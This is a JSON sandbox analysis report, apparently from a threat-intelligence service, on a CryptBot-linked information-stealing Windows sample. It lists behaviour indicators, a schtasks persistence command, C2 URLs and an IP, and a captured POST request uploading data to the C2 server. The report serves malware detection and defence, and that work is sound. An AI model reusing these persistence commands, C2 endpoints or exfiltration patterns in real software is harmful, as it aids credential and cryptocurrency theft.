information about operating system (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserNameA\" (Indicator: \"GetUserName\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00006488.00000000.177152.00F20000.00000004.mdmp, 00000000-00006488.00000002.180991.00F20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"file.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\"; Key: \"DRIVERDESC\")\n \"file.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"\"zJXvtzDSsJUKfItUnrgq.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB) for MS Windows\"- Location: [%TEMP%\\zJXvtzDSsJUKfItUnrgq.dll]- [targetUID: 00000000-00007868]\n \"service123.exe\" has type \"PE32 executable (GUI) Intel 80386 (stripped to external PDB) for MS Windows\"- Location: [%TEMP%\\service123.exe]- [targetUID: 00000000-00007868]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"service123.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"section contains high entropy","description":"\"file\" has section name .text with entropy \"6.25923000072\"\n \"file\" has section name .reloc with entropy \"6.8413514073\"\n \"file\" has section name /29 with entropy \"6.07131819641\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to detect virtual environment","description":"\"file.exe\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\\CENTRALPROCESSOR\\0\"; Key: \"PROCESSORNAMESTRING\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-87","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"service123.exe\" (Thread ID: 4372) slept \"525\" times (threshold: 500)","origin":"API Call","mitre_attack_id":"T1497.003","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET DNS Query to a *.top domain - Likely Hostile\" (SID: 2023883, Rev: 4, Severity: 2) categorized as \"Potentially Bad Traffic\"\n Detected alert \"ET INFO HTTP Request to a *.top domain\" (SID: 2023882, Rev: 5, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$4d","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"file.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\Searches\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\Contacts\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\Favorites\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\Links\\desktop.ini\"\n \"file.exe\" reads file \"C:\\Users\\%OSUSER%\\Saved Games\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"file.exe\" wrote 40960 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\service123.exe\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 5.53.124.195 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"Network Related","name":"Uses a browser-related user-agent without launching browser","description":"Found user-agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"file.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"01000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"file.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\service123.exe\"\" - (UID: 00000000-00006488)\n \"file.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\schtasks.exe\" /create /tn \"ServiceData4\" /tr \"%TEMP%\\/service123.exe\" /st 00:01\" - (UID: 00000000-00006488)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"malicious","category":"Environment Awareness","name":"Reads the registry for VMWare specific artifacts","description":"$4e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-56","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"malicious","category":"General","name":"Calls an API typically used to execute an application","description":"\"file.exe\" called \"ShellExecuteA\" with parameter %TEMP%\\/service123.exe (UID: 00000000-00006488)\n \"file.exe\" called \"ShellExecuteA\" with parameter schtasks.exe (UID: 00000000-00006488)","origin":"API Call","mitre_attack_id":"T1106","relevance":10,"id":"api-117","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 73520000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"/create /tn \"ServiceData4\" /tr \"%TEMP%\\\\/service123.exe\" /st 00:01 /du 9800:59 /sc once /ri 1 /f\" (UID: 00000000-00000720)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"file.exe\" wrote 00000004 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\service123.exe\" (Handle: 1444)\n \"file.exe\" wrote 00000004 bytes to a remote process \"C:\\Windows\\SysWOW64\\schtasks.exe\" (Handle: 1284)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"malicious","category":"Network Related","name":"Upload file using POST request","description":"$4f","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-58","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$50","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]}],"incidents":[{"name":"Ransomware","details_count":1,"details":[{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Reads FTP client related files"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Reads the registry for VMWare specific artifacts"}],"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]}],"intel_graph":{"map":{"Domain:4996920b2a6e1f91ba18528049e46ed0aa76f640bc86f579aa3926923a7ea772":{"type":"Domain","value":"fivevf5vs.top","verdict":{"verdict":"unknown"}},"File:6f2017644b4e3b4e651145b29899396aa26f0779b5b28382f42d21a59409aa2e":{"type":"File","value":"6f2017644b4e3b4e651145b29899396aa26f0779b5b28382f42d21a59409aa2e"},"File:7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f":{"type":"File","value":"7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f","verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["Detected malware C2 configuration","Detected relationship with a Threat CryptBot","Detected relationship with a Threat CryptBot/V3","confirmed relationship with a Threat"]},"filetype":"PE32 executable (GUI) Intel 80386, for MS Windows","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:87cd590b99e800a092e6854cf745e0d8330364555f9982adeeab66e295afa446":{"type":"File","value":"87cd590b99e800a092e6854cf745e0d8330364555f9982adeeab66e295afa446"},"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610":{"type":"File","value":"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["Detected malware C2 configuration","Detected relationship with a Threat CryptBot","Detected relationship with a Threat CryptBot/V3","File reported as malware by ClamAV antivirus","Sample drops '.exe' file to %TEMP% directory","confirmed malicious file","confirmed relationship with a Threat","confirmed relationship with a Threat CryptBot","confirmed relationship with a Threat CryptBot/V3","confirmed relationship with a Threat CryptoCurrencyTheft"]},"filetype":"PE32 executable (GUI) Intel 80386, for MS Windows","filetype_short":"PE32","mime_type":"application/x-dosexec"},"File:ae827db306223d585fec6bb64b7e7249290ac78a1ce1ac8df388ff73245ba6ae":{"type":"File","value":"ae827db306223d585fec6bb64b7e7249290ac78a1ce1ac8df388ff73245ba6ae"},"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11":{"type":"File","value":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"},"File:ffa381ab11d69d0a93cd56a5a485223444d41147f8ca326fc4ff8117c3c2897d":{"type":"File","value":"ffa381ab11d69d0a93cd56a5a485223444d41147f8ca326fc4ff8117c3c2897d"},"Ip:5.53.124.195":{"type":"Ip","value":"5.53.124.195"},"Threat:149065aa0da3bd1aa426a5f2903d1240e403d0c9662c47d609f37319d8e382ee":{"type":"Threat","value":"CryptBot","verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["Detected relationship with a Threat CryptBot","confirmed relationship with a Threat"]}},"Threat:834edf0eafa2890b30e4cc553ae2a41484ec6f8ff5b940013e674ffcb813e882":{"type":"Threat","value":"CryptBot/V3","verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["Detected relationship with a Threat CryptBot/V3"]}},"Threat:b38ec2072606e6d32755d8faaccf2f0976c1713e33dd5ecc497236f0be989a96":{"type":"Threat","value":"CryptoCurrencyTheft","verdict":{"verdict":"malicious","verdict_source":"indicator database"}},"Url:/v1/upload.php":{"type":"Url","value":"/v1/upload.php"},"Url:2eb2ef62d40a74dc8dc762a4422372336e9b656823ec35fe8b9c63ce70faa35c":{"type":"Url","value":"http://fivevf5vs.top:80/v1/upload.php","verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Detected malware C2 configuration"]}},"Url:3ea39d2830d3ec9c2b1fb948320c117d6ce2e19398fb5837d2824bb74a9c5ec5":{"type":"Url","value":"unspec://analforeverlovyu.top","verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Detected malware C2 configuration"]}},"Url:f21ce75cb2a5a20128bd757b6672b4213cb1971df2420b0d56cc43e55fb70439":{"type":"Url","value":"https://update-ledger.net:443/update","verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Detected malware C2 configuration"]}}},"chains":[{"id":"1546314037890877978","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[],"verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["Detected malware C2 configuration","Detected relationship with a Threat CryptBot","Detected relationship with a Threat CryptBot/V3","File reported as malware by ClamAV antivirus","Sample drops '.exe' file to %TEMP% directory","confirmed malicious file","confirmed relationship with a Threat","confirmed relationship with a Threat CryptBot","confirmed relationship with a Threat CryptBot/V3","confirmed relationship with a Threat CryptoCurrencyTheft"]}},{"id":"1546314032164566840","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"contacted_domain","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"Domain:4996920b2a6e1f91ba18528049e46ed0aa76f640bc86f579aa3926923a7ea772"}],"verdict":{"verdict":"unknown"}},{"id":"1546314049683558177","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"is_threat","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"Threat:149065aa0da3bd1aa426a5f2903d1240e403d0c9662c47d609f37319d8e382ee"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected","confirmed relationship with a Threat"]}},{"id":"1546314037932821020","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"is_threat","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"Threat:834edf0eafa2890b30e4cc553ae2a41484ec6f8ff5b940013e674ffcb813e882"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1546314028720189951","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"is_threat","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"Threat:b38ec2072606e6d32755d8faaccf2f0976c1713e33dd5ecc497236f0be989a96"}],"verdict":{"verdict":"malicious","verdict_source":"indicator database"}},{"id":"1546314032164566860","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"contains_c2_config","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"Url:2eb2ef62d40a74dc8dc762a4422372336e9b656823ec35fe8b9c63ce70faa35c"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1546314032164566858","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"contains_c2_config","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"Url:3ea39d2830d3ec9c2b1fb948320c117d6ce2e19398fb5837d2824bb74a9c5ec5"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1546314032168761166","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"contains_c2_config","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"Url:f21ce75cb2a5a20128bd757b6672b4213cb1971df2420b0d56cc43e55fb70439"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1546314032164566855","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"memory","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"File:7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f"},{"edge_kind":"is_threat","from_key":"File:7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f","to_key":"Threat:149065aa0da3bd1aa426a5f2903d1240e403d0c9662c47d609f37319d8e382ee"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1546314032164566857","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"memory","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"File:7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f"},{"edge_kind":"is_threat","from_key":"File:7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f","to_key":"Threat:834edf0eafa2890b30e4cc553ae2a41484ec6f8ff5b940013e674ffcb813e882"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1546314032164566861","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"memory","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"File:7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f"},{"edge_kind":"contains_c2_config","from_key":"File:7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f","to_key":"Url:2eb2ef62d40a74dc8dc762a4422372336e9b656823ec35fe8b9c63ce70faa35c"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1546314032164566859","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"memory","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"File:7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f"},{"edge_kind":"contains_c2_config","from_key":"File:7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f","to_key":"Url:3ea39d2830d3ec9c2b1fb948320c117d6ce2e19398fb5837d2824bb74a9c5ec5"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"1546314032168761167","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"memory","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"File:7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f"},{"edge_kind":"contains_c2_config","from_key":"File:7dd788ff598b7a127cb219c651bcbb214dcfef35cf4cf0fb5ccb97a71199827f","to_key":"Url:f21ce75cb2a5a20128bd757b6672b4213cb1971df2420b0d56cc43e55fb70439"}],"verdict":{"verdict":"malicious","verdict_source":"dynamic and static analysis","reasons":["Malware presence detected"]}},{"id":"sandbox_network","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"contacted_ip","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"Ip:5.53.124.195"},{"edge_kind":"contacted_domain","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"Domain:4996920b2a6e1f91ba18528049e46ed0aa76f640bc86f579aa3926923a7ea772"},{"edge_kind":"contacted_url","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"Url:/v1/upload.php"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","edges":[{"edge_kind":"extracted","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"File:ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11"},{"edge_kind":"extracted","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"File:87cd590b99e800a092e6854cf745e0d8330364555f9982adeeab66e295afa446"},{"edge_kind":"extracted","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"File:ae827db306223d585fec6bb64b7e7249290ac78a1ce1ac8df388ff73245ba6ae"},{"edge_kind":"extracted","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"File:6f2017644b4e3b4e651145b29899396aa26f0779b5b28382f42d21a59409aa2e"},{"edge_kind":"extracted","from_key":"File:a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","to_key":"File:ffa381ab11d69d0a93cd56a5a485223444d41147f8ca326fc4ff8117c3c2897d"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":101,"dropped_files_count":0,"extracted_files_count":5,"files_written_count":3,"files_deleted_count":0,"registry_keys_created_count":3,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":3,"embedded_ips_count":0,"embedded_domains_count":1,"embedded_urls_count":3,"contacted_hosts_count":1,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["cryptbot/v3","cryptocurrencytheft","credentialharvesting","criminal","informationstealer","cryptbot","downloader","evasive"],"sample_flags":["Network Traffic","Extracted Files","Multi-Process"],"sandbox_reports":[{"id":"6a9e03253889c1888a0a8f73","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"W32.Evo","submit_name":"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","analysis_start_time":"2026-09-07T00:19:51+00:00","indicators_count":{"informative":150,"suspicious":31,"malicious":3},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"66f0be1411172c5b1d09c91e","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"suspicious","threat_score":35,"contacted_countries":["RUS"],"submit_name":"file","analysis_start_time":"2024-09-23T01:02:13+00:00","indicators_count":{"informative":159,"suspicious":48,"malicious":9},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"5.53.124.195","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]}],"dns_resolutions":[{"domain":"fivevf5vs.top","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a9e03253889c1888a0a8f73"},{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]}],"http_requests":[{"host":"fivevf5vs.top","host_ip":"5.53.124.195:80","url":"/v1/upload.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /v1/upload.php HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nContent-Type: multipart/form-data; boundary=----Boundary44003225\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36\nContent-Length: 410\nHost: fivevf5vs.top","sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}]}],"embedded_domains":[{"value":"fivevf5vs.top","sources":[{"report_type":"qsp","report_id":""}]}],"embedded_urls":[{"value":"https://update-ledger.net:443/update","sources":[{"report_type":"qsp","report_id":""}]},{"value":"http://fivevf5vs.top:80/v1/upload.php","sources":[{"report_type":"qsp","report_id":""}]},{"value":"unspec://analforeverlovyu.top","sources":[{"report_type":"qsp","report_id":""}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"66f0be1411172c5b1d09c91e"}],"processes":[{"pid":6488,"ppid":0,"name":"file.exe","command_line":"","sha256":"a8a451b18143b192de1f6da327400e4fe0b629386d0c9dbf0d77e002e8ca6610","normalized_path":"C:\\file.exe","uid":"00000000-00006488","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKn